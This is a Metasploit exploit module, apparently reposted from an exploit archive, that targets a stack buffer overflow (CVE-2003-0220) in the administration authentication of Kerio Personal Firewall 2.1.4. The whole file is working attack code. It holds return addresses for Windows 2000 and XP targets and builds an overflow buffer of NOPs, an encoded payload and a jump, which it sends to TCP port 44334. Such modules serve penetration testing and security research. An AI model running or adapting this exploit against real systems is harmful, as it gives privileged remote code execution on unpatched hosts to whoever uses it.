Kerio Personal Firewall 2.1.4 – Authentication Packet Overflow (Metasploit)
## # $Id: kerio_auth.rb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Kerio Firewall 2.1.4 Authentication Packet Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Kerio Personal Firewall administration authentication process. This module has only been tested against Kerio Personal Firewall 2 (2.1.4). }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'Version' => '$Revision: 9525 $', 'References' => [ ['CVE', '2003-0220'], ['OSVDB', '6294'], ['BID', '7180'], ['URL', 'http://www1.corest.com/common/showdoc.php?idx=314&idxseccion=10'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00", 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ], [ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e3171b } ], [ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ], ], 'Privileged' => true, 'DisclosureDate' => 'Apr 28 2003', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(44334) ], self.class) end def exploit connect print_status("Trying target #{target.name}...") sploit = make_nops(4468) + payload.encoded sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV') sock.put(sploit) sock.get_once(-1, 3) handler disconnect end end |